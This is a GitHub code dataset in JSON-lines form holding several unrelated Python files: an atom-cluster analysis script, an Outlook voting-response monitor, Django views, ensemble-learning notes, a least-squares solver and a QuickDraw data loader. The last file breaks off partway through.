LEFT_BOUNDARY)/BUCKET_LENGTH)\n\t\ty_offset = int((y_cord - LEFT_BOUNDARY)/BUCKET_LENGTH) \n\t\tz_offset = int((z_cord - LEFT_BOUNDARY)/BUCKET_LENGTH)\n\n\t\tz_multiplier = round(NO_OF_BUCKET ** (2/3),2)\n\t\ty_multiplier = round(NO_OF_BUCKET ** (1/3),2)\n\n\t\tbucket_no = int((z_multiplier * z_offset + y_multiplier * y_offset + x_offset))\n\t\tif bucket_no in return_buckets:\n\t\t\t# if x_cord > 0:\n\t\t\t# \tx_cord = x_cord - round(CELL_SIZE/2,2)\n\t\t\t# else:\n\t\t\t# \tx_cord = x_cord + round(CELL_SIZE/2,2)\n\t\t\tif y_cord > 0:\n\t\t\t\ty_cord = y_cord - round(CELL_SIZE/2,2)\n\t\t\telse:\n\t\t\t\ty_cord = y_cord + round(CELL_SIZE/2,2)\n\t\t\t# if z_cord > 0:\n\t\t\t# \tz_cord = z_cord - round(CELL_SIZE/2,2)\n\t\t\t# else:\n\t\t\t# \tz_cord = z_cord + round(CELL_SIZE/2,2)\n\t\t\tfiltered_data.append(\n\t\t\t {\n\t\t\t 'id' : datum_id,\n\t\t\t 'atom_coordinate' : [round(x_cord,2),round(y_cord,2),round(z_cord,2)],\n\t\t\t 'atom_class' : obj['atom_class'] \n\t\t\t }\n\t\t\t )\n\n\tif atom_class == \"1\":\n\t\tout_file = open(\"cluster_within_fe.json\", \"w\")\n\telif atom_class == \"2\":\n\t\tout_file = open(\"cluster_within_mg.json\", \"w\")\n\telif atom_class == \"3\":\n\t\tout_file = open(\"cluster_within_o.json\", \"w\")\n\telse:\n\t\tout_file = open(\"cluster_within_si.json\", \"w\")\n\n\t\n\tjson.dump(filtered_data, out_file)\n\tout_file.close()\n\n\tf_out = open(\"merged_cluster.dump\", \"w\")\n\tf_out.write(\"ITEM: TIMESTEP\\n\")\n\tf_out.write(\"0\\n\")\n\tf_out.write(\"ITEM: NUMBER OF ATOMS\\n\")\n\tf_out.write(\"{}\\n\".format(str(len(filtered_data))))\n\tf_out.write(\"ITEM: BOX BOUNDS xy xz yz pp pp pp\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"ITEM: ATOMS id type x y z\\n\")\n\n\n\tfor each in filtered_data:\n\t\tf_out.write(\"{} {} {} {} {}\".format(each['id'],each['atom_class'],str(each['atom_coordinate'][0]),str(each['atom_coordinate'][1]),str(each['atom_coordinate'][2])))\n\t\tf_out.write(\"\\n\")\n\n\tf_out.close()\n\n\n\n\ndef merge_data(merge_val):\n\ttotal = 0 \n\tfor i in merge_val:\n\t\tif i == \"1\":\n\t\t\tf = open(\"filtered_fe.json\",\"r\")\n\t\telif i == \"2\":\n\t\t\tf = open(\"filtered_mg.json\",\"r\")\n\t\telif i == \"3\":\n\t\t\tf = open(\"filtered_o.json\",\"r\")\n\t\telse:\n\t\t\tf = open(\"filtered_si.json\",\"r\")\n\t\tfiltered_data = json.load(f)\n\t\ttotal = total + len(filtered_data)\n\n\tf_out = open(\"out_filtered.dump\", \"w\")\n\tf_out.write(\"ITEM: TIMESTEP\\n\")\n\tf_out.write(\"0\\n\")\n\tf_out.write(\"ITEM: NUMBER OF ATOMS\\n\")\n\tf_out.write(\"{}\\n\".format(str(total)))\n\tf_out.write(\"ITEM: BOX BOUNDS xy xz yz pp pp pp\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"0.0000000000000000e+00 6.8000000000000000e+01 0.0000000000000000e+00\\n\")\n\tf_out.write(\"ITEM: ATOMS id type x y z\\n\")\n\tfor i in merge_val:\n\t\tif i == \"1\":\n\t\t\tf = open(\"filtered_fe.json\",\"r\")\n\t\telif i == \"2\":\n\t\t\tf = open(\"filtered_mg.json\",\"r\")\n\t\telif i == \"3\":\n\t\t\tf = open(\"filtered_o.json\",\"r\")\n\t\telse:\n\t\t\tf = open(\"filtered_si.json\",\"r\")\n\t\tfiltered_data = json.load(f)\n\n\t\tfor each in filtered_data:\n\t\t\tf_out.write(\"{} {} {} {} {}\".format(each['id'],str(i),str(each['atom_coordinate'][0]),str(each['atom_coordinate'][1]),str(each['atom_coordinate'][2])))\n\t\t\tf_out.write(\"\\n\")\n\tf_out.close()\n\nif __name__ == '__main__':\n\n\tparser = argparse.ArgumentParser(description='Parser')\n\tparser.add_argument('-n','--no_of_atoms', help='No of atoms',required=True)\n\tparser.add_argument('-s','--cell_size', help='Maximimum cell size',required=True)\n\tparser.add_argument('-b','--no_of_buckets', help='No of buckets',required=True)\n\tparser.add_argument('-p','--percent', help='nth simulation',required=True)\n\tparser.add_argument('-i','--input', help='Input Json File',required=False)\n\tparser.add_argument('-o','--output', help='Output File Name',required=True)\n\tparser.add_argument('-k','--to_do', help='What to perform',required=True)\n\tparser.add_argument('-f','--filter', help='Filter Values',required=False)\n\tparser.add_argument('-m','--merge', help='What data to merge',required=False)\n\targs = parser.parse_args()\n\n\n\tNO_OF_ATOMS = int(args.no_of_atoms)\n\tCELL_SIZE = int(args.cell_size)\n\tNO_OF_BUCKET = int(args.no_of_buckets)\n\n\tBOUNDARY = (round(-1 * CELL_SIZE/2,2),round(CELL_SIZE/2,2))\n\tLEFT_BOUNDARY = BOUNDARY[0]\n\tRIGHT_BOUNDARY = BOUNDARY[1]\n\n\tBUCKET_LENGTH = CELL_SIZE/ (NO_OF_BUCKET**(1/3)) + 0.1 #adding val for boundary conditions\n\n\tAVG_ATOMS_PER_BUCKET = int(NO_OF_ATOMS/NO_OF_BUCKET)\n\t#setting max atom a bucket can have for x-axis\n\tMAX_ATOMS_PER_BUCKET = 2 * AVG_ATOMS_PER_BUCKET\n\n\tif args.input:\n\t\tall_data = get_points(args.input)\n\telse:\n\t\tall_data = []\n\t#%percentile of data\n\tn_data =int(args.percent)\n\n\tif n_data > 1 or n_data <0:\n\t\tval = len(all_data) - 1\n\telse:\n\t\t#Percentage of nth data\n\t\tval = int(n_data * len(all_data)) - 1\n\n\tif args.to_do == \"distribution\":\n\t\tget_atom_distribution(all_data[val])\n\telif args.to_do == \"filter\":\n\t\tf = args.filter\n\t\tif not f:\n\t\t\tprint(\"Filter Parameter not passed\")\n\t\t\texit(1)\n\t\tstart = f.split('-')[0]\n\t\tend = f.split('-')[1]\n\t\tget_filtered_data(all_data[val],start,end)\n\telif args.to_do == \"merge\":\n\t\tmerge_val = args.merge.split(\"-\")\n\t\tmerge_data(merge_val)\n\telif args.to_do == \"nested_cluster\":\n\t\tf = args.filter\n\t\tif not f:\n\t\t\tprint(\"Filter Parameter not passed\")\n\t\t\texit(1)\n\t\tstart = f.split('-')[0]\n\t\tend = f.split('-')[1]\n\t\tatom_class = f.split('-')[2]\n\t\tget_filtered_data_all(all_data[val],start,end,atom_class)\n\telse:\n\t\texit(1)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"arsenomadridabin/ClusterAnalysis","sub_path":"final_code.py","file_name":"final_code.py","file_ext":"py","file_size_in_byte":12994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26957658059","text":"import win32com.client\nimport win32timezone\nimport ctypes\nimport pythoncom\nimport re\nimport time\nimport psutil\nimport ManipulateExcelFile as MEF\nimport datetime as dt\nfrom termcolor import colored\nimport colorama\n\ncolorama.init()\n\nprint(colored(\"\\n\\tTrackIT: Monitoring Outlook mail's...\", \"green\"), \"\\n\")\n\n\nclass Handler_Class(object):\n def __init__(self):\n try:\n f = open('eLog.txt', 'a+')\n try:\n self.SUBJECT = '| TrackIT |'\n inbox = self.Application.GetNamespace(\n \"MAPI\").GetDefaultFolder(6)\n messages = inbox.Items\n for message in messages:\n try:\n if self.check_subject(message.Subject, self.SUBJECT):\n votingResponse = message.VotingResponse\n trackID = self.get_id(message.Subject)\n\n print(\"\\t\", colored('Date: ', 'green'),\n dt.datetime.strftime(message.ReceivedTime, '%m/%d/%Y'))\n print(\"\\t\", colored('Subject: ', 'green'),\n message.Subject)\n print(\"\\t\", colored('Voted:', 'green'),\n votingResponse, \"\\n\")\n\n MEF.UpdateResponseFromReceiverStatus(\n trackID, 13, votingResponse)\n except Exception as e:\n f.write(str(\n dt.datetime.now()) + \" [email_inner_logic_exception]:\\n\\t\" + str(e) + \"\\n\\n\\n\")\n\n except Exception as e:\n f.write(str(dt.datetime.now()) + \":\\n\\t\" + str(e) + \"\\n\\n\\n\")\n\n finally:\n f.close()\n\n def OnQuit(self):\n ctypes.windll.user32.PostQuitMessage(0)\n\n def OnNewMailEx(self, receivedItemsIDs):\n try:\n f = open('eLog.txt', 'a+')\n self.SUBJECT = '| TrackIT |'\n for ID in receivedItemsIDs.split(\",\"):\n try:\n mail = self.Session.GetItemFromID(ID)\n subject = mail.Subject\n if self.check_subject(subject, self.SUBJECT):\n votingResponse = mail.VotingResponse\n trackID = self.get_id(subject)\n\n print(\"\\t\", colored('Subject:', 'green'), subject)\n print(\"\\t\", colored('Voted: ', 'green'),\n votingResponse, \"\\n\")\n\n MEF.UpdateResponseFromReceiverStatus(\n trackID, 13, votingResponse)\n try:\n print('command', command)\n except:\n pass\n except Exception as e:\n f.write(str(dt.datetime.now()) +\n \" [new_email_inner_logic_exception]:\\n\\t\" + str(e) + \"\\n\\n\\n\")\n finally:\n f.close()\n\n def check_subject(self, subjectStr, matchingStr):\n if (subjectStr.find(matchingStr) == -1):\n return False\n else:\n return True\n\n def get_id(self, subjectStr):\n result = re.findall(r'\\d+', subjectStr)\n trackId = int(result[0])\n #print('trackId', trackId)\n return trackId\n\n\ndef check_outlook_open():\n list_process = []\n for pid in psutil.pids():\n p = psutil.Process(pid)\n list_process.append(p.name())\n\n if 'OUTLOOK.EXE' in list_process:\n return True\n else:\n return False\n\n\nwhile True:\n try:\n outlook_open = check_outlook_open()\n except:\n outlook_open = False\n\n if outlook_open == True:\n outlook = win32com.client.DispatchWithEvents(\n \"Outlook.Application\", Handler_Class)\n pythoncom.PumpMessages()\n\n time.sleep(10)\n","repo_name":"RushiMashru/TrackIT","sub_path":"TrackProjectFollowup/TrackProjectFollowup_VirEnv/CheckOutlookSubject.py","file_name":"CheckOutlookSubject.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14231523607","text":"from django.views import generic\nfrom django.views.generic.edit import FormMixin\nfrom django.urls import reverse_lazy\nfrom django.contrib.messages.views import SuccessMessageMixin\n\nfrom etc.models import Contact\nfrom etc.forms import ContactForm, SubscribeForm\nfrom shop.models import Product\n\n\nclass IndexView(FormMixin, generic.ListView):\n\ttemplate_name = 'pages/site/index.html'\n\tmodel = Product\n\tform_class = SubscribeForm\n\ttitle = 'index'\n\n\nclass AboutUsView(generic.TemplateView):\n\ttemplate_name = 'pages/site/about-us.html'\n\n\nclass ContactUsView(SuccessMessageMixin, generic.CreateView):\n\ttemplate_name = 'pages/site/contact.html'\n\tmodel = Contact\n\tform_class = ContactForm\n\tsuccess_url = reverse_lazy('site:contact')\n\tsuccess_message = 'Your Message is sent!'\n\n\nclass FeaturesView(generic.TemplateView):\n\ttemplate_name = 'pages/site/feature.html'\n\n\nclass QuestionsView(generic.TemplateView):\n\ttemplate_name = 'pages/site/faq.html'\n\n\nclass TermsConditionsView(generic.TemplateView):\n\ttemplate_name = 'pages/site/terms-conditions.html'","repo_name":"IhsunCloud/DjangoShop","sub_path":"etc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16009172449","text":"from django.shortcuts import render\n#import csrf_exempt \nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom django.http import HttpResponse, JsonResponse , request , response\n\n#improt json\nimport json\n#add cursor\nimport sqlite3 \nfrom .db import DB\ndb = DB()\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\n@csrf_exempt\ndef signup(request):\n print(request.body)\n if request.method==\"POST\":\n body = request.POST\n print(body)\n if db.emailExists(body['email']):\n return render(request , 'signup.html' , context={'error':'Email already exists'})\n else:\n db.addUser(body['email'] , body['fname'] , body['lname'] , body['phone'] , body['password'])\n return render(request , 'showAll.html' , context={'success':'Account created successfully'})\n \n elif(request.method==\"GET\"):\n \n \n return render(request , 'signup.html' , context={}) \n else:\n return render(request , 'templates/signup.html')\n\ndef showAll(request):\n rows = db.showAllUsers()\n \n #convert rows into json\n print(rows)\n return render(request , 'showAll.html' , context={'users':rows})\n\ndef addBus(request):\n if request.method==\"POST\":\n body = request.POST\n print(body)\n print(\"SSS\")\n print(db.addBus(body['busName'] , body['busNumber'] , body['busTime'] , body['busSource'] ,\n body['busDestination'] , body['busPrice'] , \n body['busCapacity'] , body['busDeparture'] , \n body['busArrival']))\n return render(request , 'showBuses.html' , context={'success':'Bus added successfully'})\n elif(request.method==\"GET\"):\n return render(request , 'addBus.html' , context={}) \n \ndef showBuses(request):\n\n rows = db.showAllBuses()\n print(rows)\n return render(request , 'showBuses.html' , context={'buses':rows})\n","repo_name":"awaiswaheed34/ticketSystemRDS","sub_path":"ticketSystem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11839478764","text":"import sys\r\nN=int(sys.stdin.readline())\r\nstack=[]\r\nfor i in range(N):\r\n a=[x for x in sys.stdin.readline().split()]\r\n if a[0]=='size':\r\n print(len(stack))\r\n elif a[0]=='push':\r\n if int(a[1])>0:\r\n stack.append(int(a[1]))\r\n elif a[0]=='empty':\r\n if not stack:\r\n print(1)\r\n else:\r\n print(0)\r\n elif a[0]=='top':\r\n if len(stack)>0:\r\n print(stack[-1])\r\n else:\r\n print(-1)\r\n elif a[0]=='pop':\r\n if len(stack)>0:\r\n print(stack.pop())\r\n else:\r\n print(-1)\r\n ","repo_name":"Angeriod/BaekJoon","sub_path":"백준/Silver/10828. 스택/스택.py","file_name":"스택.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31876317673","text":"# 网址这里:https://www.datacamp.com/community/tutorials/ensemble-learning-python\n\n############### What is Ensemble learning ###############\n\n# Ensemble Learning is a process using which multiple machine learning models \n# (such as classifiers) are strategically constructed to solve a particular problem.\n\n\n############### Model error and Reucing error with Ensembles ###############\n# ML model error = Bais + Variance + Irreducible error\n\n# Increase the complexity of model -- lower bias -- more complex model\n# -- overfitting problem -- higher variance\n\n############### Different types of Ensemble learning methods ###############\n\n# Three most-used methods in the industry\n# 1. Bagging based Ensemble learning\n# - Short for \"Bootstrap Aggregation\"\n\n# 2. Boosting-based Ensemble learning\n# - A form of sequential learning technique\n# - Train with entire training set first, then the subsequent models are trained based on the residual error\n# - 想起来了,是那个给poorly etimated data更多weight的model!\n# - Example: XGBoost, GradientBoost, AdaBoost\n\n# 3. Voting based Ensemble learning\n# - 先predict,然后给每个model不同的weight,之后投票决定\n# - Stacked aggregation is a technique which can be used to learn how to weigh these predictions in the best possible way.!\n\n############### A case study in Python ###############\nimport pandas as pandas\nimport numpy as numpy\nfrom sklearn.preprocessing import Imputer\nfrom sklearn.preprocessing import MinMaxScaler\n\ndata = pd.read_csv('cancer.csv')\ndata.head()\n\ndata.drop('Sample code number', axis = 1, inplace = True)\ndata.replace('?', 0, inplace = True)\n\nvalues = data.values\nimputer = Imputer()\nimputedData = imputer.fit_transform(values)\nscaler = MinMaxScaler(feature_range= (0, 1))\nnormalizedData = scaler.fit_transform(imputedData)\n\n\n# Start with the Bagging based ensembling\nfrom sklearn import model_selection\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\nX = normalizedData[:, 0:9]\nY = normalizedData[:, 9]\n\n# 这边的cv用的是random split?\nkfold = model_selection.KFold(n_splits = 10, random_state = 7)\ncart = DecisionTreeClassifier()\nnum_trees = 100\nmodel = BaggingClassifier(base_estimator = cart, n_estimators = num_trees, random_state = 7)\nresults = model_selection.cross_val_score(model, X, Y, cv = kfold)\n\n# Initialized a 10-fold CV fold -- DecisionTreeClassifier with 100trees and wrapped it in a Bagging based ensemble. \n\n# 这个就是直接扔到AdaBoost里啊.. \nfrom sklearn.ensemble import AdaBoostClassifier \nseed = 7\nnum_tress = 70\nkfold = model_selection.KFold(n_splits = 10, random_state = seed)\nmodel = AdaBoostClassifier(n_estimators = num_trees, random_state = seed)\nresults = model_selection.cross_val_score(model, X, Y, cv = kfold)\n\n# Voting-based Ensemble technique\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import svc\nfrom sklearn.ensemble import VotingClassifier\n\nkfold = model_selection.KFold(n_splits = 10, random_state = seed)\n# create the sub models\nestimators = []\nmodel1 = LogisticRegression()\nestimators.append(('logistic', model1))\nmodel2 = DecisionTreeClassifier()\nestimators.append(('cart', model2))\nmodel3 = SVC()\nestimators.append(('svm', model3))\n# create the ensemble model\nensemble = VotingClassifier(estimators)\nresults = model_selection.cross_val_score(ensemble, X, Y, cv=kfold)\nprint(results.mean())\n\n############### Pitfalls of Ensemble learning ###############\n# In general, it is not true that ensemble always perform better\n# 就是说你要挑选最合适的ensemble,比如说high variance和bagging, biased和boosting\n\n\n\n","repo_name":"zrrddd/Python-Study-Notes","sub_path":"py files/Ensemble.py","file_name":"Ensemble.py","file_ext":"py","file_size_in_byte":3694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70888353690","text":"\"\"\"\nA block-matrix method for solving a large regularized linear system of equations.\n\n1/2/2016, Johannes Leugering\n\"\"\"\nimport numpy as np\nfrom numpy.linalg import inv\n\nclass BlockedLeastSquares(object):\n \"\"\"Implements a block-matrix method for solving a large regularized linear system of equations.\n\n The system to be approximately solved for the optimal parameter vector w (omega) is given by:\n y = A w\n\n The normal equation solved instead to find the least squares approximation is given by:\n A' P y + Q w_0 = (A' P A + Q)\n => w = (A' P A + Q)^{-1} (A' P y + Q w_0)\n where:\n P holds the expected inverse covariance matrix of the data block A,\n Q is the regularizer determining the correlation and scale of the found parameter vector,\n w_0 is the expected value of the parameter vector,\n y holds the target values to be approximated and\n A holds the training data.\n\n A and y are assumed to be of the block matrix form:\n\n | A_0 | | y_0 |\n A = | : |, y = | : |\n | A_n | | y_n |\n\n Model predictions are generated for a matrix of testing data A_p by the linear model as follows:\n y_p = A_p * w\n\n Example\n -------\n The simplest usage of the function is to leave the regularization parameters at their default values.\n\n >>> lstsq = BlockedLeastSquares()\n >>> for i in range(numer_of_blocks):\n ... # generate training data block A_i and target block y_i\n ... A_i = ...\n ... y_i = ...\n ... # update the model\n ... lstsq.update(A_i, y_i)\n ... # Generate block of testing data A_t\n ... A_t = ...\n ... # Generate a prediction for y_t\n ... y_t = lstsq(A_t)\n ... # Print the parameters\n ... print(lstsq.omega)\n \n\n Attributes:\n -----------\n omega : ndarray\n the parameter vector fitted by the model (w)\n residuals : ndarray\n the residuals calculated on the training data\n error : float\n the error calculated on the training data\n \"\"\"\n\n def __init__(self, Q=None, omega_0=None):\n \"\"\"Initializes the model.\n \n Parameters\n ----------\n Q : Optional[ndarray]\n the inverse covariance matrix of the regularizer. Default `None` implies no regularization.\n omega_0 : Optional[ndarray]\n the expected value of the parameter vector. Default `None` results in the 0-vector.\n \"\"\"\n\n self.Q = Q\n self.omega_0 = omega_0\n self._LHS = None\n self._RHS = None\n self.omega = None\n self.residuals = None\n self.error = None\n\n def update(self, target_block, data_block, inv_cov_block=None):\n \"\"\"Updates the model with a new block of training targets and data.\n\n Parameters\n ----------\n target_block : ndarray\n `n*k` matrix containing targets for `n` samples of `k` predicted variables\n data_block : ndarray\n `n*m` matrix containing training data for `n` samples of `m` features (e.g. m-dimensional ESN state)\n inv_cov_block : Optional[ndarray]\n inverse of the expected covariance matrix of an `n*m` data block; \n the default value None implies an identity covariance matrix (i.e. independent samples)\n\n Returns\n -------\n ndarray\n the model's resulting parameter vector `self.omega`\n \"\"\"\n # initialize LHS and RHS if necessary\n if self._LHS == None:\n if self.Q == None:\n self._LHS = np.eye(data_block.shape[1])*1e-8\n elif np.isscalar(self.Q):\n self._LHS = np.eye(data_block.shape[1])*self.Q\n else:\n self._LHS = self.Q\n\n if self.omega_0 == None:\n self._RHS = np.zeros((data_block.shape[1],target_block.shape[1]))\n elif np.isscalar(self.omega_0):\n self._RHS = self._LHS.dot(np.zeros((data_block.shape[1],target_block.shape[1]))*self.omega_0)\n else:\n self._RHS = -self._LHS.dot(self.omega_0)\n\n # initialize inv_cov_block if necessary:\n if inv_cov_block == None:\n inv_cov_block = 1#np.eye(data_block.shape[0])\n\n # Update LHS and RHS\n BP = data_block.T.dot(inv_cov_block)\n self._LHS += BP.dot(data_block)\n self._RHS += BP.dot(target_block)\n\n self.omega = inv(self._LHS).dot(self._RHS)\n self.residuals = self(data_block) - target_block\n self.error = self.rmse(self.residuals)\n return self.omega\n\n def __call__(self, data_block):\n \"\"\"Calling the model with a data block returns the resulting model prediction.\n\n Parameters\n ----------\n data_block : ndarray\n `i*m` matrix containing data on which to base the model prediction.\n `m` must correspond to the number of fitted parameters\n\n Returns\n -------\n ndarray\n `i*k` matrix of the model predictions.\n `k` is the number of predicted variables\n \"\"\"\n return data_block.dot(self.omega)\n\n def reset(self):\n \"\"\"Reset the model to its initial state.\"\"\"\n self._RHS = None\n self._LHS = None\n\n @staticmethod\n def rmse(v):\n \"\"\"Convenience class method to calculate the root mean squared error (RMSE)\"\"\"\n return np.linalg.norm(v)/np.sqrt(len(v))\n","repo_name":"HansBambel/BA-ESN","sub_path":"BlockedLeastSquares.py","file_name":"BlockedLeastSquares.py","file_ext":"py","file_size_in_byte":5413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"7332077110","text":"import numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation, Flatten\nfrom tensorflow.keras.layers import Convolution2D, MaxPooling2D\nfrom keras.utils import np_utils\nfrom keras.backend.tensorflow_backend import set_session\nimport os\nimport io\n#os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n#Preprocess Data-----------------------\n#categories = [\"cup\" , \"fish\", \"fork\", \"ladder\", \"tree\", \"airplane\", \"donut\", \"face\", \"house\", \"saw\", \"tent\", \"sun\", \"moon\", \"dog\", \"table\"]\n#\"cup\" , \"fish\", \"fork\", \"ladder\", \"tree\", \n#\"airplane\", \"donut\", \"face\", \"house\", \"saw\",\n#\"tent\", \"sun\", \"moon\", \"dog\", \"table\"\ndata_cup = np.load(\"../google_data/cup.npy\", mmap_mode = 'r+')\ndata_fish = np.load(\"../google_data/fish.npy\", mmap_mode = 'r+')\ndata_fork = np.load(\"../google_data/fork.npy\", mmap_mode = 'r+')\ndata_ladder = np.load(\"../google_data/ladder.npy\", mmap_mode = 'r+')\ndata_tree = np.load(\"../google_data/tree.npy\", mmap_mode = 'r+')\ndata_airplane = np.load(\"../google_data/airplane.npy\", mmap_mode = 'r+')\ndata_donut = np.load(\"../google_data/donut.npy\", mmap_mode = 'r+')\ndata_face = np.load(\"../google_data/face.npy\", mmap_mode = 'r+')\ndata_house = np.load(\"../google_data/house.npy\", mmap_mode = 'r+')\ndata_saw = np.load(\"../google_data/saw.npy\", mmap_mode = 'r+')\ndata_tent = np.load(\"../google_data/tent.npy\", mmap_mode = 'r+')\ndata_sun = np.load(\"../google_data/sun.npy\", mmap_mode = 'r+')\ndata_moon = np.load(\"../google_data/moon.npy\", mmap_mode = 'r+')\ndata_dog = np.load(\"../google_data/dog.npy\", mmap_mode = 'r+')\ndata_table = np.load(\"../google_data/table.npy\", mmap_mode = 'r+')\n#15 from here\ndata_eye = np.load(\"../google_data/eye.npy\", mmap_mode = 'r+')\ndata_pear = np.load(\"../google_data/pear.npy\", mmap_mode = 'r+')\ndata_sword = np.load(\"../google_data/sword.npy\", mmap_mode = 'r+')\ndata_telephone = np.load(\"../google_data/telephone.npy\", mmap_mode = 'r+')\ndata_tornado = np.load(\"../google_data/tornado.npy\", mmap_mode = 'r+')\n#20----------\ndata_pool = np.load(\"../google_data/pool.npy\", mmap_mode = 'r+')\ndata_stopsign = np.load(\"../google_data/stop_sign.npy\", mmap_mode = 'r+')\ndata_oven = np.load(\"../google_data/oven.npy\", mmap_mode = 'r+')\ndata_bicycle = np.load(\"../google_data/bicycle.npy\", mmap_mode = 'r+')\ndata_fan = np.load(\"../google_data/fan.npy\", mmap_mode = 'r+')\n#25\ndata_line = np.load(\"../google_data/line.npy\", mmap_mode = 'r+')\ndata_key = np.load(\"../google_data/key.npy\", mmap_mode = 'r+')\ndata_waterslide = np.load(\"../google_data/waterslide.npy\", mmap_mode = 'r+')\ndata_tshirt = np.load(\"../google_data/t-shirt.npy\", mmap_mode = 'r+')\ndata_purse = np.load(\"../google_data/purse.npy\", mmap_mode = 'r+')\n#30\ndata_axe = np.load(\"../google_data/axe.npy\", mmap_mode = 'r+')\ndata_nose = np.load(\"../google_data/nose.npy\", mmap_mode = 'r+')\ndata_belt = np.load(\"../google_data/belt.npy\", mmap_mode = 'r+')\ndata_steak = np.load(\"../google_data/steak.npy\", mmap_mode = 'r+')\ndata_beach = np.load(\"../google_data/beach.npy\", mmap_mode = 'r+')\n#35\ndata_mushroom = np.load(\"../google_data/mushroom.npy\", mmap_mode = 'r+')\ndata_shovel = np.load(\"../google_data/shovel.npy\", mmap_mode = 'r+')\ndata_spoon = np.load(\"../google_data/spoon.npy\", mmap_mode = 'r+')\ndata_eiffeltower = np.load(\"../google_data/The_Eiffel_Tower.npy\", mmap_mode = 'r+')\ndata_zigzag = np.load(\"../google_data/zigzag.npy\", mmap_mode = 'r+')\n#40\n#Check min size\nmin_size = min(len(data_cup), len(data_fish), len(data_fork), len(data_ladder), len(data_tree),\n len(data_airplane), len(data_donut), len(data_face), len(data_house), len(data_saw),\n len(data_tent), len(data_sun), len(data_moon), len(data_dog), len(data_table), len(data_eye),\n len(data_pear), len(data_sword), len(data_telephone), len(data_tornado), len(data_pool),\n len(data_stopsign), len(data_oven), len(data_bicycle), len(data_fan), len(data_line),\n len(data_key), len(data_waterslide), len(data_tshirt), len(data_purse), len(data_axe), \n len(data_nose), len(data_belt), len(data_steak), len(data_beach), len(data_mushroom), \n len(data_shovel), len(data_spoon), len(data_eiffeltower), len(data_zigzag))\n\nprint(min_size)\n\ndata_cup = np.delete(data_cup, range(min_size, len(data_cup)), axis = 0)\ndata_fish = np.delete(data_fish, range(min_size, len(data_fish)), axis = 0)\ndata_fork = np.delete(data_fork, range(min_size, len(data_fork)), axis = 0)\ndata_ladder = np.delete(data_ladder, range(min_size, len(data_ladder)), axis = 0)\ndata_tree = np.delete(data_tree, range(min_size, len(data_tree)), axis = 0)\ndata_airplane = np.delete(data_airplane, range(min_size, len(data_airplane)), axis = 0)\ndata_donut = np.delete(data_donut, range(min_size, len(data_donut)), axis = 0)\ndata_face = np.delete(data_face, range(min_size, len(data_face)), axis = 0)\ndata_house = np.delete(data_house, range(min_size, len(data_house)), axis = 0)\ndata_saw = np.delete(data_saw, range(min_size, len(data_saw)), axis = 0)\ndata_tent = np.delete(data_tent, range(min_size, len(data_tent)), axis = 0)\ndata_sun = np.delete(data_sun, range(min_size, len(data_sun)), axis = 0)\ndata_moon = np.delete(data_moon, range(min_size, len(data_moon)), axis = 0)\ndata_dog = np.delete(data_dog, range(min_size, len(data_dog)), axis = 0)\ndata_table = np.delete(data_table, range(min_size, len(data_table)), axis = 0)\ndata_eye = np.delete(data_eye, range(min_size, len(data_eye)), axis = 0)\ndata_pear = np.delete(data_pear, range(min_size, len(data_pear)), axis = 0)\ndata_sword = np.delete(data_sword, range(min_size, len(data_sword)), axis = 0)\ndata_telephone = np.delete(data_telephone, range(min_size, len(data_telephone)), axis = 0)\ndata_tornado = np.delete(data_tornado, range(min_size, len(data_tornado)), axis = 0)\ndata_pool = np.delete(data_pool, range(min_size, len(data_pool)), axis = 0)\ndata_stopsign = np.delete(data_stopsign, range(min_size, len(data_stopsign)), axis = 0)\ndata_oven = np.delete(data_oven, range(min_size, len(data_oven)), axis = 0)\ndata_bicycle = np.delete(data_bicycle, range(min_size, len(data_bicycle)), axis = 0)\ndata_fan = np.delete(data_fan, range(min_size, len(data_fan)), axis = 0)\ndata_line = np.delete(data_line, range(min_size, len(data_line)), axis = 0)\ndata_key = np.delete(data_key, range(min_size, len(data_key)), axis = 0)\ndata_waterslide = np.delete(data_waterslide, range(min_size, len(data_waterslide)), axis = 0)\ndata_tshirt = np.delete(data_tshirt, range(min_size, len(data_tshirt)), axis = 0)\ndata_purse = np.delete(data_purse, range(min_size, len(data_purse)), axis = 0)\ndata_axe = np.delete(data_axe, range(min_size, len(data_axe)), axis = 0)\ndata_nose = np.delete(data_nose, range(min_size, len(data_nose)), axis = 0)\ndata_belt = np.delete(data_belt, range(min_size, len(data_belt)), axis = 0)\ndata_steak = np.delete(data_steak, range(min_size, len(data_steak)), axis = 0)\ndata_beach 